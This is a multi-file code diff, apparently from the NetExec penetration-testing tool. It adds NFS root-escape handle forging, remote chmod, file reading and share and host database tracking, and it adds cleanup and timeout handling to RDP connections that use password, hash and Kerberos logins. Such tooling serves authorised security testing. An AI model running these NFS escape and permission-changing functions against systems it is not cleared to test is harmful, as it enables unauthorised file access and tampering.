if nfs_port:
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
if NFS_V3 in self.nfs_versions:
|
||||
self.root_escape = self.try_root_escape()
|
||||
else:
|
||||
self.logger.debug("NFSv3 not supported, skipping root escape check")
|
||||
self.nfs3.disconnect()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to connect to NFS3 host: {e}")
|
||||
|
||||
self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape)
|
||||
|
||||
def print_host_info(self):
|
||||
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
@@ -265,6 +273,7 @@ class nfs(connection):
|
||||
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
self.mount.umnt(self.auth)
|
||||
self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network)
|
||||
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to list share: {share} - {e}")
|
||||
@@ -427,6 +436,10 @@ class nfs(connection):
|
||||
self.logger.fail(f"{local_file_path} does not exist.")
|
||||
return
|
||||
|
||||
# Do a bit of smart handling for the remote file path
|
||||
if remote_file_path.endswith("/"):
|
||||
file_name = os.path.basename(local_file_path)
|
||||
|
||||
self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}")
|
||||
try:
|
||||
# Connect to NFS
|
||||
@@ -526,6 +539,62 @@ class nfs(connection):
|
||||
else:
|
||||
self.logger.highlight(f"File {local_file_path} successfully uploaded to {remote_file_path}")
|
||||
|
||||
def chmod(self):
|
||||
try:
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Iterate over the path
|
||||
curr_fh = mount_fh
|
||||
privs = int(self.args.chmod[0], 8)
|
||||
filepath = self.args.chmod[1]
|
||||
file_path, file_name = os.path.split(filepath)
|
||||
|
||||
# If target dir is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, file_path.lstrip("/").split("/"))):
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# If the path does not exist, create it
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Directory '{sub_path}' does not exist on path '{file_path}/'")
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# Update the UID and GID from the directory
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
# Checking if file_name already exists on remote file path
|
||||
lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth)
|
||||
|
||||
if "resfail" in lookup_response and lookup_response["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"File '{file_name}' does not exist on path '{file_path}/'")
|
||||
return
|
||||
|
||||
current_privs = self.nfs3.getattr(lookup_response["resok"]["object"]["data"], auth=self.auth)["attributes"]["mode"]
|
||||
res = self.nfs3.setattr(lookup_response["resok"]["object"]["data"], mode=privs, auth=self.auth)
|
||||
if "resfail" in res:
|
||||
self.logger.fail(f"Failed to change permissions for '{filepath}': {NFSSTAT3[res['status']]}")
|
||||
else:
|
||||
self.logger.success(f"Permissions for '{filepath}' successfully changed from {format(current_privs, 'o')} to {format(privs, 'o')}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error occurred while processing path: {e}")
|
||||
|
||||
def get_root_handles(self, mount_fh):
|
||||
"""
|
||||
Get possible root handles to escape to the root filesystem
|
||||
@@ -575,13 +644,13 @@ class nfs(connection):
|
||||
# Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
fh = bytearray(mount_fh)
|
||||
if filesystem in [FileID.ext, FileID.unknown]:
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
|
||||
root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
|
||||
if filesystem in [FileID.btrfs, FileID.unknown]:
|
||||
# Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling
|
||||
for i in range(16):
|
||||
subvolume = int.to_bytes(i) + b"\x01\x00\x00"
|
||||
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226
|
||||
root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator]
|
||||
|
||||
return root_handles
|
||||
|
||||
@@ -707,6 +776,89 @@ class nfs(connection):
|
||||
path = path.rsplit("/", 1)[0] # Remove the file from the path
|
||||
self.print_directory(content, path)
|
||||
|
||||
def cat(self):
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Remove leading or trailing slashes
|
||||
self.args.cat = self.args.cat.lstrip("/").rstrip("/")
|
||||
|
||||
# NORMAL LS CALL (without root escape)
|
||||
if self.args.share:
|
||||
mount_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}")
|
||||
return
|
||||
else:
|
||||
mount_fh = mount_info["mountinfo"]["fhandle"]
|
||||
elif self.root_escape:
|
||||
# Interestingly we don't actually have to mount the share if we already got the handle
|
||||
self.logger.success(f"Successful escape on share: {self.escape_share}")
|
||||
mount_fh = self.escape_fh
|
||||
else:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
|
||||
# We got a path to look up
|
||||
curr_fh = mount_fh
|
||||
is_file = False # If the last path is a file
|
||||
|
||||
# If ls is "" or "/" without filter we would get one item with [""]
|
||||
for sub_path in list(filter(None, self.args.cat.split("/"))):
|
||||
# Update UID and GID for the path
|
||||
self.update_auth(curr_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {self.args.cat!r}")
|
||||
return
|
||||
elif "resfail" in res:
|
||||
self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}")
|
||||
return
|
||||
|
||||
curr_fh = res["resok"]["object"]["data"]
|
||||
|
||||
# If file then break and only display file
|
||||
if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG:
|
||||
is_file = True
|
||||
break
|
||||
|
||||
# Update the UID and GID for the file/dir
|
||||
self.update_auth(curr_fh)
|
||||
|
||||
if not is_file:
|
||||
self.logger.fail(f"Path '{self.args.cat}' is not a file!")
|
||||
return
|
||||
|
||||
buf = BytesIO()
|
||||
# Handle files over the default chunk size of 1024 * 1024
|
||||
offset = 0
|
||||
eof = False
|
||||
while not eof:
|
||||
file_data = self.nfs3.read(curr_fh, offset, auth=self.auth)
|
||||
|
||||
if "resfail" in file_data:
|
||||
self.logger.fail(f"Failed to retrieve data for '{self.args.cat}': {NFSSTAT3[file_data['status']]}")
|
||||
return
|
||||
|
||||
else:
|
||||
# Get the data and append it to the total file data
|
||||
data = file_data["resok"]["data"]
|
||||
eof = file_data["resok"]["eof"]
|
||||
|
||||
# Update the offset to read the next chunk
|
||||
offset += len(data)
|
||||
# Write the file data to the local file
|
||||
buf.write(data)
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def print_directory(self, content, path):
|
||||
"""
|
||||
Highlight log the content of the directory provided by a READDIRPLUS call.
|
||||
@@ -727,7 +879,10 @@ class nfs(connection):
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"])
|
||||
perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}"
|
||||
file_size = convert_size(item["name_attributes"]["attributes"]["size"])
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
try:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}")
|
||||
except UnicodeDecodeError:
|
||||
self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode('CP437')}")
|
||||
|
||||
def format_directory(self, raw_directory):
|
||||
"""Convert the chained directory entries to a list of the entries"""
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
Base = declarative_base()
|
||||
|
||||
@@ -32,9 +33,12 @@ class database(BaseDB):
|
||||
ip = Column(String)
|
||||
hostname = Column(String)
|
||||
port = Column(Integer)
|
||||
nfs_version = Column(String)
|
||||
root_escape = Column(Boolean)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("ip"),
|
||||
)
|
||||
|
||||
class LoggedInRelation(Base):
|
||||
@@ -52,12 +56,17 @@ class database(BaseDB):
|
||||
class Share(Base):
|
||||
__tablename__ = "shares"
|
||||
id = Column(Integer)
|
||||
lir_id = Column(Integer)
|
||||
data = Column(String)
|
||||
host = Column(String)
|
||||
read_perm = Column(Boolean)
|
||||
write_perm = Column(Boolean)
|
||||
exec_perm = Column(Boolean)
|
||||
storage = Column(String)
|
||||
share = Column(String)
|
||||
access = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
ForeignKeyConstraint(["lir_id"], ["loggedin_relations.id"]),
|
||||
UniqueConstraint("host", "share"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
@@ -69,3 +78,104 @@ class database(BaseDB):
|
||||
self.HostsTable = self.reflect_table(self.Host)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.SharesTable = self.reflect_table(self.Share)
|
||||
|
||||
def get_hosts(self, filter_term=None, domain=None):
|
||||
"""Return hosts from the database."""
|
||||
q = select(self.HostsTable)
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"NFS hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def add_host(self, ip, hostname, port, nfs_version, root_escape):
|
||||
"""Check if this host has already been added to the database, if not, add it in."""
|
||||
hosts = []
|
||||
updated_ids = []
|
||||
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# create new host
|
||||
if not results:
|
||||
new_host = {
|
||||
"ip": ip,
|
||||
"hostname": hostname,
|
||||
"port": port,
|
||||
"nfs_version": str(nfs_version),
|
||||
"root_escape": root_escape
|
||||
}
|
||||
hosts = [new_host]
|
||||
# update existing hosts data
|
||||
else:
|
||||
for host in results:
|
||||
host_data = host._asdict()
|
||||
# only update column if it is being passed in
|
||||
if ip is not None:
|
||||
host_data["ip"] = ip
|
||||
if hostname is not None:
|
||||
host_data["hostname"] = hostname
|
||||
if port is not None:
|
||||
host_data["port"] = port
|
||||
if nfs_version is not None:
|
||||
host_data["nfs_version"] = str(nfs_version)
|
||||
if root_escape is not None:
|
||||
host_data["root_escape"] = root_escape
|
||||
|
||||
# only add host to be updated if it has changed
|
||||
if host_data not in hosts:
|
||||
hosts.append(host_data)
|
||||
updated_ids.append(host_data["id"])
|
||||
nxc_logger.debug(f"Update Hosts: {hosts}")
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns)
|
||||
|
||||
self.db_execute(q, hosts) # .scalar()
|
||||
# we only return updated IDs for now - when RETURNING clause is allowed we can return inserted
|
||||
if updated_ids:
|
||||
nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}")
|
||||
return updated_ids
|
||||
|
||||
def add_share(self, host, permission, storage, share, access):
|
||||
"""Check if this share is already in the DB, if not add it."""
|
||||
read_perm, write_perm, exec_perm = permission
|
||||
used, _, total = storage
|
||||
storage_str = f"{used} / {total}"
|
||||
access_str = ", ".join(access) if access else ""
|
||||
|
||||
new_share = {
|
||||
"host": host,
|
||||
"read_perm": read_perm,
|
||||
"write_perm": write_perm,
|
||||
"exec_perm": exec_perm,
|
||||
"storage": storage_str,
|
||||
"share": share,
|
||||
"access": access_str,
|
||||
}
|
||||
|
||||
self.db_execute(
|
||||
Insert(self.SharesTable).on_conflict_do_nothing(),
|
||||
new_share,
|
||||
)
|
||||
|
||||
def get_shares(self, filter_term=None):
|
||||
"""Return shares from the database, optionally filtered by host or share path."""
|
||||
if self.is_share_valid(filter_term):
|
||||
q = select(self.SharesTable).filter(self.SharesTable.c.id == filter_term)
|
||||
elif filter_term:
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.SharesTable).filter(
|
||||
self.SharesTable.c.host.like(like_term) | self.SharesTable.c.share.like(like_term)
|
||||
)
|
||||
else:
|
||||
q = select(self.SharesTable)
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def is_share_valid(self, share_id):
|
||||
"""Check if this share ID is valid."""
|
||||
q = select(self.SharesTable).filter(self.SharesTable.c.id == share_id)
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"is_share_valid(shareID={share_id}) => {len(results) > 0}")
|
||||
return len(results) > 0
|
||||
@@ -1,4 +1,4 @@
|
||||
from nxc.nxcdb import DatabaseNavigator, print_help
|
||||
from nxc.nxcdb import DatabaseNavigator, print_help, print_table, write_csv
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
@@ -13,3 +13,142 @@ class navigator(DatabaseNavigator):
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_hosts(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
hosts = self.db.get_hosts()
|
||||
self.display_hosts(hosts)
|
||||
else:
|
||||
hosts = self.db.get_hosts(filter_term=filter_term)
|
||||
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
|
||||
host_id_list = []
|
||||
print(hosts)
|
||||
for host in hosts:
|
||||
host_id_list.append(host[0])
|
||||
data.append([host[0], host[1], host[2], host[3], host[4], host[5]])
|
||||
|
||||
print_table(data, title="Host(s)")
|
||||
|
||||
def display_hosts(self, hosts):
|
||||
data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]]
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
port = host[3]
|
||||
supported_version = host[4]
|
||||
root_escape = host[5]
|
||||
|
||||
data.append([host_id, ip, hostname, port, supported_version, root_escape])
|
||||
print_table(data, title="Hosts")
|
||||
|
||||
def display_shares(self, shares):
|
||||
"""
|
||||
shares: list of rows (tuples) -> expects columns:
|
||||
(id, host, read_perm, write_perm, exec_perm, storage, share, access)
|
||||
"""
|
||||
data = [["ID", "Host", "R", "W", "X", "Storage", "Share", "Access"]]
|
||||
for row in shares:
|
||||
(
|
||||
sid, host, r, w, x,
|
||||
storage_str, share_path, access_str
|
||||
) = row
|
||||
data.append([
|
||||
sid, host,
|
||||
"True" if r else "False",
|
||||
"True" if w else "False",
|
||||
"True" if x else "False",
|
||||
storage_str,
|
||||
share_path,
|
||||
access_str,
|
||||
])
|
||||
print_table(data, title="Shares")
|
||||
|
||||
def do_shares(self, line):
|
||||
filter_term = line.strip() or None
|
||||
shares = self.db.get_shares(filter_term=filter_term)
|
||||
|
||||
if shares:
|
||||
self.display_shares(shares)
|
||||
else:
|
||||
print("No shares found.")
|
||||
|
||||
def help_shares(self):
|
||||
help_string = """
|
||||
shares [host_filter]
|
||||
Lists all shares. Optionally filters by host substring.
|
||||
Columns:
|
||||
ID, Host, Read (True/False), Write, Execute, Storage ("used / total"), Share path, Access list
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_export(self, line):
|
||||
if not line:
|
||||
print("[-] not enough arguments")
|
||||
return
|
||||
line = line.split()
|
||||
command = line[0].lower()
|
||||
|
||||
if command == "hosts":
|
||||
if len(line) < 2:
|
||||
print("[-] invalid arguments, export hosts <filename>")
|
||||
return
|
||||
filename = line[2]
|
||||
hosts = self.db.get_hosts()
|
||||
csv_header = ("id", "ip", "hostname", "port", "version", "root_escape")
|
||||
write_csv(filename, csv_header, hosts)
|
||||
print("[+] NFS hosts exported")
|
||||
elif command == "shares":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export shares <simple|detailed> <filename>")
|
||||
return
|
||||
|
||||
filename = line[2]
|
||||
mode = line[1].lower()
|
||||
shares = self.db.get_shares()
|
||||
|
||||
if mode == "simple":
|
||||
csv_header = ("id", "host", "read", "write", "exec", "storage", "share", "access")
|
||||
write_csv(filename, csv_header, shares)
|
||||
print("[+] NFS shares exported")
|
||||
elif mode == "detailed":
|
||||
csv_header = ("id", "host", "version", "read", "write", "exec", "storage", "share", "access")
|
||||
# hosts columns: (id, ip, hostname, port, nfs_version, root_escape)
|
||||
version_by_ip = {host[1]: host[4] for host in self.db.get_hosts()}
|
||||
formatted = []
|
||||
for row in shares:
|
||||
entry = (
|
||||
row[0], # id
|
||||
row[1], # host
|
||||
version_by_ip.get(row[1], ""), # nfs_version
|
||||
row[2], # read
|
||||
row[3], # write
|
||||
row[4], # exec
|
||||
row[5], # storage
|
||||
row[6], # share
|
||||
row[7], # access
|
||||
)
|
||||
formatted.append(entry)
|
||||
write_csv(filename, csv_header, formatted)
|
||||
print("[+] NFS shares exported")
|
||||
else:
|
||||
print(f"[-] No such export option: {line[1]}")
|
||||
else:
|
||||
print(f"[-] Export command '{command}' is not supported for NFS. Supported: hosts, shares")
|
||||
|
||||
def help_export(self):
|
||||
help_string = """
|
||||
export hosts <filename>
|
||||
exports: id, ip, hostname, port, version, root_escape
|
||||
export shares <simple|detailed> <filename>
|
||||
simple - exports: id, host, read, write, exec, storage, share, access
|
||||
detailed - exports: id, host, version, read, write, exec, storage, share, access
|
||||
"""
|
||||
print_help(help_string)
|
||||
@@ -8,7 +8,9 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("--shares", action="store_true", help="List NFS shares")
|
||||
dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)")
|
||||
dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /")
|
||||
dgroup.add_argument("--cat", metavar="FILE", help="Display the contents of an NFS file. Example: --cat /path/to/file")
|
||||
dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file")
|
||||
dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file")
|
||||
dgroup.add_argument("--chmod", nargs=2, metavar=("PERMISSIONS", "FILE"), help="Change permissions of remote NFS file. Example: --chmod 777 /path/to/file")
|
||||
|
||||
return parser
|
||||
+55
-31
@@ -1,4 +1,5 @@
|
||||
import asyncio
|
||||
import contextlib
|
||||
from datetime import datetime
|
||||
from os import getenv
|
||||
from anyio import Path
|
||||
@@ -108,7 +109,10 @@ class rdp(connection):
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
|
||||
try:
|
||||
self.db.add_host(self.host, self.port, self.hostname, self.domain, self.server_os, self.nla)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.target = RDPTarget(ip=self.host, domain="FAKE", port=self.port, timeout=self.args.rdp_timeout)
|
||||
@@ -124,7 +128,7 @@ class rdp(connection):
|
||||
target=self.target,
|
||||
credentials=self.auth,
|
||||
)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
except OSError as e:
|
||||
if "Errno 104" not in str(e):
|
||||
return False
|
||||
@@ -188,10 +192,30 @@ class rdp(connection):
|
||||
pass
|
||||
|
||||
async def connect_rdp(self):
|
||||
"""Connect to the RDP server. Does NOT clean up on exit.
|
||||
|
||||
Use this when the caller needs the connection alive after connecting
|
||||
(screen, nla_screen, execute_shell). For sync callers that only need to
|
||||
know whether authentication succeeded and want guaranteed cleanup, use
|
||||
connect_rdp_with_cleanup() instead.
|
||||
"""
|
||||
_, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout)
|
||||
if err is not None:
|
||||
raise err
|
||||
|
||||
async def terminate_conn(self):
|
||||
"""Terminate the RDP connection with a timeout so cleanup doesn't hang."""
|
||||
if self.conn is not None:
|
||||
with contextlib.suppress(Exception):
|
||||
await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout)
|
||||
|
||||
async def connect_rdp_with_cleanup(self):
|
||||
"""Connect to the RDP server and always terminate the connection on exit"""
|
||||
try:
|
||||
await self.connect_rdp()
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
try:
|
||||
lmhash = ""
|
||||
@@ -227,7 +251,7 @@ class rdp(connection):
|
||||
stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT
|
||||
|
||||
kerberos_target = UniTarget(
|
||||
self.host,
|
||||
self.kdcHost,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
timeout=self.args.rdp_timeout,
|
||||
@@ -245,7 +269,7 @@ class rdp(connection):
|
||||
stype=stype,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(
|
||||
@@ -301,7 +325,7 @@ class rdp(connection):
|
||||
stype=asyauthSecret.PASS,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
|
||||
@@ -335,7 +359,7 @@ class rdp(connection):
|
||||
stype=asyauthSecret.NT,
|
||||
)
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
asyncio.run(self.connect_rdp())
|
||||
asyncio.run(self.connect_rdp_with_cleanup())
|
||||
|
||||
self.admin_privs = True
|
||||
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
|
||||
@@ -420,7 +444,6 @@ class rdp(connection):
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
|
||||
# Create a connection
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
@@ -525,13 +548,9 @@ class rdp(connection):
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
finally:
|
||||
# Always clean up the connection
|
||||
if self.conn is not None:
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
try:
|
||||
await self.conn.terminate()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error terminating connection: {e!s}")
|
||||
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
await self.terminate_conn()
|
||||
|
||||
def execute(self, payload=None, shell_type="cmd"):
|
||||
"""Execute a command via RDP"""
|
||||
@@ -566,15 +585,17 @@ class rdp(connection):
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception:
|
||||
return
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error taking screenshot: {e!s}")
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def screenshot(self):
|
||||
asyncio.run(self.screen())
|
||||
@@ -586,19 +607,22 @@ class rdp(connection):
|
||||
try:
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
return
|
||||
await self.terminate_conn()
|
||||
continue
|
||||
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
try:
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def nla_screenshot(self):
